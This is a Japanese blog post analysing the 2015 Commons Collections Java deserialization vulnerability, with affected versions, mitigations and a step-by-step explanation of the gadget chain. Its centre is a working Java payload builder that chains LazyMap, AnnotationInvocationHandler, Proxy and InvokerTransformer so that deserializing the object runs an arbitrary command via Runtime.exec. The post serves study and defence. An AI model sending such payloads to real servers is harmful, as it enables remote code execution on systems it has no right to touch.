目的
- Commons Collections の脆弱性の件の話を、最近(2015-11-10ごろから)良く聞きます
- リモートから任意のコマンドを実行可能という問題
- 元ネタ
- 簡単な経緯
- 2015-01-28 に Commons Collections の脆弱性について公表
- 2015-11-06 にブログで再度公表
- 各種ミドルウェアなど(WebLogic、WebSphere、JBoss、Jenkins、等々)にも影響あり。未だにほとんど対策されていない(という話だった。今では対策も進んでいるはず)
- 詳細な影響範囲や対策内容などについては、その他のサイトにお任せします
- 具体的にどんな風に攻撃しているのか、ちょこっとお勉強してみました
参考(Commons Collections):
脆弱性概要
発生条件
- JavaSE 5.0 以降が対象?
- Commons Collections 3.0~3.2.1 あるいは 4.0 がクラスパスにある
- シリアライズされたオブジェクトを外部から喰わせることができる
これだけかな?
対策方法(案)
最大のポイントは Commons Collections の InvokerTransformer
なんでしょうね。
これを無効化させれば良いみたい。
Commons Collections の Jar から削除するとか、対策済みのクラスをクラスパスの前の方に差し込むとか?
詳細はその手のサイトなどでお調べください。
【追記】
新しくリリースされた Commons Collections 3.2.2 では、システムプロパティで指定しない限り org.apache.commons.collections.functors
パッケージの以下クラスのシリアライズを無効化する対応をしているみたいですね。
- CloneTransformer
- ForClosure
- InstantiateFactory
- InstantiateTransformer
- InvokerTransformer
- PrototypeFactory$PrototypeCloneFactory
- PrototypeFactory$PrototypeSerializationFactory
- WhileClosure
もしなんらかの理由でライブラリを最新化できない場合には、個別にこの8クラスを無効化すればいいんですかね。
攻撃ソース(サンプル)
元ネタのところにおおよそのソースが載っていますし、詳細なソースは GitHub に公開されています。
自分なりに必要そうなところを最小限だけ切り出してみました。
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class CommonsCollectionsTest {
public static InvocationHandler getObject(String command) throws Exception {
// 【手順1】まずは普通の LazyMap を作成する
Transformer transformerChain = new ChainedTransformer(
new Transformer[] { new ConstantTransformer(1) });
Map<?, ?> innerMap = new HashMap<>();
Map<?, ?> lazyMap0 = LazyMap.decorate(innerMap, transformerChain);
// 【手順2】lazyMap0 をアノテーションの値として、アノテーション呼び出しハンドラーを生成する
InvocationHandler handler1 = createMemoizedInvocationHandler(lazyMap0);
// 【手順3】生成したハンドラーを Map の Proxy にする
Map<?, ?> mapProxy = (Map<?, ?>) Proxy.newProxyInstance(
CommonsCollectionsTest.class.getClassLoader(),
new Class<?>[] { Map.class },
handler1);
// 【手順4】さらに「ProxyにしたMapを値としたアノテーション呼び出しハンドラー」を生成する
InvocationHandler handler2 = createMemoizedInvocationHandler(mapProxy);
// 【手順5】指定コマンドを実行するロジックを生成
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { command }),
new ConstantTransformer(1) };
// 【手順6】LazyMap の初期化ロジックを、コマンドを実行するロジックに差し替える
setFieldValue(transformerChain, "iTransformers", transformers);
return handler2;
}
/** 指定されたマップをアノテーションの定義値とする、アノテーション呼び出しハンドラーを作る */
private static InvocationHandler createMemoizedInvocationHandler(Map<?, ?> map) throws Exception {
Class<?> handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = handler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
return (InvocationHandler) constructor.newInstance(Override.class, map);
}
/** フィールドに値を設定 */
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = getField(obj.getClass(), fieldName);
field.setAccessible(true);
field.set(obj, value);
}
/** フィールドを取得 */
private static Field getField(Class<?> clazz, String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
// 指定クラスになければ、再帰的に親クラスから取得
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
攻撃準備
まずは、順番に追いかけていきます。
【手順1】
【手順1】で普通の LazyMap
を生成します。
LazyMap
は Commons Collectons の機能の1つで、存在しないキーで get()
されたときに遅延初期化する Map コレクションですね。
インスタンス名は lazyMap0
とします。
【手順2】
次に【手順2】でこのマップを元に「アノテーション呼び出しハンドラー」の handler1
を生成します。
いきなり難易度高いですが。
アノテーション呼び出しハンドラー( sun.reflect.annotation.AnnotationInvocationHandler
)は、公開されていない Java 内部のクラスのようです。
アノテーションで定義された情報を取得するための Proxy 用なんでしょうね。
ここでは @Override
アノテーションの「アノテーション呼び出しハンドラー」を生成しています(アノテーションの種類は何でも良いみたいですね)。
そしてアノテーションの定義値として lazyMap0
を設定しています。
もしこの handler1
を呼び出すと、呼び出そうとしたメソッド名をアノテーションの属性名だと思って lazyMap0
を get()
してしまいます。
「アノテーション呼び出しハンドラー」は、本来の目的とは関係なく readObject()
や invoke()
の中で Map
にアクセスするという仕様のため悪用されただけみたいですね。
似たようなことをするクラスが他にあれば、代わりに使うことも可能かもしれません。
今回の攻撃に関係しそうな部分だけを抽出すると、以下のようになると思います。 memberValues
に lazyMap0
を登録しています。
package sun.reflect.annotation;
// ...
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
// ...
this.memberValues = memberValues;
}
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
// ...
Object result = memberValues.get(member);
// ...
return result;
}
// ...
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// ...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// ...
}
// ...
}
}
【手順3】
【手順3】では生成したハンドラー handler1
をもとに、Map の Proxy である mapProxy
を生成します。
これは java.lang.reflect.Proxy
や java.lang.reflect.InvocationHandler
が分かっていれば、理解は難しくないかな。
プロキシー( java.lang.reflect.Proxy
)は、任意のインタフェースを実装した代理インスタンスを動的に生成する機能です。そして代理応答するクラスが先ほどの呼び出しハンドラー( java.lang.reflect.InvocationHandler
)になります。
つまり、この mapProxy
に対して何かメソッドを呼び出すと( get()
でも entrySet()
でも、その他 Map のメソッドならなんでも)、 handler1
を呼び出してしまうわけですね。
【手順4】
【手順4】ではさらに、mapProxy
をアノテーションの定義値とした「アノテーション呼び出しハンドラー」の handler2
を生成しています。
だんだん頭が混乱してきますが。
【手順5】
【手順5】では、指定したコマンドを実行するロジックを生成します。
これがキーポイントで ChainedTransformer
や InvokerTransformer
を使って任意のコマンドを実行してしまうわけです。
問題の InvokerTransformer
はリフレクションを使ってデータを変換するというものです。
Map の初期値を求めるロジックは、仮にラムダ式で表すなら以下のような内容ですね。
Supplier<Integer> f = () -> {
Runtime.class.getMethod("getRuntime").invoke(null).exec(command);
return 1;
}
【手順6】
【手順6】は lazyMap0
の中に設定した transformerChain
の中身を、【手順5】で作った任意のコマンドを実行できるロジックに無理やり変えてしまっています。
被害状況確認
最終的に【手順4】で作った handler2
をシリアライズして、攻撃対象のサイトに送り込むことになります。
デシリアライズ
では攻撃対象のサーバが handler2
をデシリアライズしたらどうなるか?
handler2
は「アノテーション呼び出しハンドラー」ですので、デシリアライズ時には AnnotationInvocationHandler#readObject()
が呼び出されます。
AnnotationInvocationHandler#readObject()
の中で memberValues.entrySet()
が呼び出されます。
handler2
の memberValues
は、【手順3】で生成した mapProxy
が設定されています。
そして mapProxy.entrySet()
が呼び出されると、Proxy の呼び出しハンドラーである handler1
が呼び出されます。
handler1
が entrySet()
の代わりに呼び出されると、 メソッド名 "entrySet" をアノテーション名だと思って lazyMap0
を get()
します。
この時点で lazyMap0
は空なので get()
されると、初期値を生成しようとします。
lazyMap0
の初期値を求めるロジックは、【手順5】で生成した任意のコマンドを実行するというものです。
アウチ!
デシリアライズの最中に、任意のコマンドを実行されてしまいますね。
まとめ(てない)
いろいろと難しいですね。
今回は AnnotationInvocationHandler
+ LasyMap
+ InvokerTransformer
の組み合わせで攻撃を仕掛けていますが、他の組み合わせも可能な気がします。
さすがに直接 readObject()
の中で任意のロジックを動かせるケースは無いと思うので、今回のように java.lang.reflect.Proxy
でアダプタして2段階にする必要はあるのでしょうね。
同じ方法で攻撃するなら以下の要素が必要なのかな。
- 要素1:データを元に任意の処理ができる
- コード(Perm)ではなくデータ(Heap)の情報で任意の処理ができる
- リフレクションとか(他にもあるかも)
- 今回のケースでは
InvokerTransformer
- 要素2:任意のクラス
- シリアライズ可能なこと
- 内部で抱えたデータをもとに要素1を呼び出すメソッド
- 今回のケースでは
LasyMap
とLasyMap#get()
- 要素3:
InvocationHandler
の具象クラス- シリアライズ可能なこと
- 要素2をメンバ変数としてもつ
-
invoke()
内で要素2のメソッドを呼び出すこと - 今回のケースでは
AnnotationInvocationHandler
- 要素4:任意のクラス
- シリアライズ可能なこと
-
readObject()
の中で自分のメンバ変数のメソッドを呼び出している - 今回のケースでは
AnnotationInvocationHandler
とMap#entrySet()
- 要素5:要素4のメンバ変数
- インタフェースの型として定義されていること
- Proxy 先として要素3の
InvocationHandler
を呼び出して矛盾がないこと - 今回のケースでは
Map
であるAnnotationInvocationHandler#memberValues
今回は、要素3と要素4が同じ AnnotationInvocationHandler
だけど、別に同じにしないといけないわけじゃない。要素4は InvocationHandler
である必要もない。
同様に、要素2と要素5はどちらも Map
だけど、これも別物でもかまわない。
そう考えると、要素3~要素5はいろいろな代替案がありそうです。
そして、最大の問題であるはずの要素1ですが、これって他にもないんですかね?
Lisp 系の「プログラムコードもデータ」的な話もよく聞きますし。
後知恵で「 InvokerTransformer
が危険だ」というのは簡単ですが、何が危険で何が安全なのか判断は難しいですね。